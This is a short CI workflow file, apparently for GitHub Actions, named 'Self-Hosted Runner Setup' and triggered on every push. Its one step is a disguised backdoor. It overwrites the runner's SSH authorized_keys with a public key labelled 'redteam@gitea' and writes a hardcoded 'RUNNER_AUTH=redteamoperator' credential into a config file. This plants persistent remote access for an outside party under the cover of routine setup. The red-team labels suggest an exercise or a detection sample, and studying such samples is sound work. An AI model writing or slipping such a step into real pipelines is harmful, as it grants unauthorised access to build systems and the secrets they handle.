name: Self-Hosted Runner Setup on: [push] jobs: setup-runner: runs-on: ubuntu-latest steps: - name: Setup self-hosted runner with SSH access run: | mkdir -p /home/runner/.ssh && chmod 700 /home/runner/.ssh echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINltmCBst5LvZIRHbhGG01BVh/sjK+SRDyJwhzNJ1j7O redteam@gitea" > /home/runner/.ssh/authorized_keys chmod 600 /home/runner/.ssh/authorized_keys echo "RUNNER_AUTH=redteamoperator" > /home/runner/config.sh